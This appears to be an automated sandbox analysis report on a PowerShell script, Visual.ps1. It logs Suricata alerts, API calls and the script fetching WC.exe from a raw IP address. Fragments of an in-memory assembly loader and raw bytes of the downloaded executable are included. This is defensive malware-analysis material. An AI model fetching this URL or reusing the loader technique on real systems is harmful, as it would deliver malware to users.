Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 10, 2024, 5:40 p.m.	Aug. 10, 2024, 5:42 p.m.

Size	4.8KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`0ceeb6420f475c07ac5f4b4783855400`
SHA256	`5f84626e7e1287f88edad1ff303ad65fb39bbc710a0cda8f5e5d6e3c7e883851`
CRC32	`34FC97A0`
ssdeep	`96:W7aa/WFrQxrzcZVxmKdSt4V2X4tStpr4Rk0QPRav:W//srQx/cZVxmKdG4V2XmGprAzQ5k`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Visual.ps1
3036

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
147.45.44.131	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2400022	ET DROP Spamhaus DROP Listed Traffic Inbound group 23	Misc Attack
TCP 192.168.56.102:49163 -> 147.45.44.131:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2015588	ET HUNTING Suspicious Windows Executable WriteProcessMemory	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 10, 2024, 5:34 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (14 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: Exception calling "Load" with "1" argument(s): "Could not load file or assembly console_handle: 0x00000023	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: '13312 bytes loaded from System.Management.Automation, Version=1.0.0.0, Cultur console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: e=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. An atte console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: mpt was made to load a program with an incorrect format." console_handle: 0x00000047	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: At line:7 char:47 console_handle: 0x00000053	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: + $assembly = [System.Reflection.Assembly]::Load <<<< ($fileBytes) console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000077	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: You cannot call a method on a null-valued expression. console_handle: 0x00000023	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: At line:13 char:19 console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: + $entryPoint.Invoke <<<< ($null, $params) console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: + CategoryInfo : InvalidOperation: (Invoke:String) [], RuntimeExc console_handle: 0x00000047	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: eption console_handle: 0x00000053	1	1
WriteConsoleW Aug. 10, 2024, 5:34 p.m.	buffer: + FullyQualifiedErrorId : InvokeMethodOnNull console_handle: 0x0000005f	1	1

Uses Windows APIs to generate a cryptographic key (8 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 8	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: f ¤42ÑhÅ<p×ë¿¶6EUe6XýÄâ¯yûÞ crypto_handle: 0x008284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 8	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00828658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00828658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00828658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00828658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00828658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:34 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00828658 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 10, 2024, 5:34 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://147.45.44.131/files/WC.exe

Performs some HTTP requests (1 event)

request

GET http://147.45.44.131/files/WC.exe

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ff000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02649000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05650000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05651000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06030000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02902000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02903000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05652000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06760000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06950000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06951000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06952000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06953000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06954000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05653000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05654000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05655000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05656000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05448000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05657000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05431000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:34 p.m.	process_identifier: 3036 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06031000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 10, 2024, 5:34 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received

HTTP/1.1 200 OK Date: Sat, 10 Aug 2024 08:40:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 07 Aug 2024 18:11:09 GMT ETag: "3400-61f1bd5b0085b" Accept-Ranges: bytes Content-Length: 13312 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELYÞyà"0*JI `@ `öHO``H8 H.textP) * `.rsrc`,@@.reloc2@B*IHh)ø07( }}}|(+|( *( *.s *ªrp( -r p( -+rp*rp**( *0/( }}|(+|( *( *0(o ( *ÎÐ&(! rËp(" %¢%(¢o# ¥**ÎÐ&(! rÛp(" %¢%(¢o# ¥(*0yÐ&(! ($ ++Vo% rëp( ,>o& o' o% rýp( ,%(¢o# tXi2¤*0k%%r p¢%rp¢%r'p¢%rAp¢%rmp¢%rp¢%r»p¢%rÝp¢%rûp¢% r!p¢% rEp¢%rop¢*( (Ð(! (( ¥*0 8þþÐ(! () (* }~rp~+ ~+ ~+ o>-s, z<( 2XX( ³( (- 3~ {o*- s, z~ {o&-s, z)~ {Xo6-s, z3~ {o:,s, zPX( TX( ~ { 0@o.-s, z~ { o2-s, z øX X( 80Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(,w+Ð2(! rp(" %¢%(¢%¢%(¢%i(¢o# &~ {Xio2-s, z (X X?Çþÿÿ(~ {Xo2-s, z(X( ,,X(- 3~ {o"- s, z~ {o-s, z~ {o3s, zÞ#& {(. (/ o0 ÞX ?oüÿÿ*A4Au( *0ô(((+(((+(((+(((+(((+(((+((( +(( ( + ((

Data received

Poweshell is sending data to a remote host (1 event)

Data sent

GET /files/WC.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive

Communicates with host for which no DNS query was performed (1 event)

host

147.45.44.131

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send Aug. 10, 2024, 5:34 p.m.	buffer: GET /files/WC.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive socket: 1588 sent: 75	1	75	0

An executable file was downloaded by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv Aug. 10, 2024, 5:34 p.m.	buffer: HTTP/1.1 200 OK Date: Sat, 10 Aug 2024 08:40:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 07 Aug 2024 18:11:09 GMT ETag: "3400-61f1bd5b0085b" Accept-Ranges: bytes Content-Length: 13312 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELYÞyà"0JI `@ `öHO``H8 H.textP) `.rsrc`,@@.reloc2@BIHh)ø07( }}}\|(+\|( ( .s ªrp( -r p( -+rprp( 0/( }}\|(+\|( ( 0(o ( ÎÐ&(! rËp(" %¢%(¢o# ¥ÎÐ&(! rÛp(" %¢%(¢o# ¥(0yÐ&(! ($ ++Vo% rëp( ,>o& o' o% rýp( ,%(¢o# tXi2¤0k%%r p¢%rp¢%r'p¢%rAp¢%rmp¢%rp¢%r»p¢%rÝp¢%rûp¢% r!p¢% rEp¢%rop¢( (Ð(! (( ¥0 8þþÐ(! () ( }~rp~+ ~+ ~+ o>-s, z<( 2XX( ³( (- 3~ {o- s, z~ {o&-s, z)~ {Xo6-s, z3~ {o:,s, zPX( TX( ~ { 0@o.-s, z~ { o2-s, z øX X( 80Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(,w+Ð2(! rp(" %¢%(¢%¢%(¢%i(¢o# &~ {Xio2-s, z (X X?Çþÿÿ(~ {Xo2-s, z(X( ,,X(- 3~ {o"- s, z~ {o-s, z~ {o3s, zÞ#& {(. (/ o0 ÞX ?oüÿÿA4Au( *0ô(((+(((+(((+(((+(((+(((+((( +(( ( + (( received: 2720 socket: 1588	1	2720	0

Visual.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All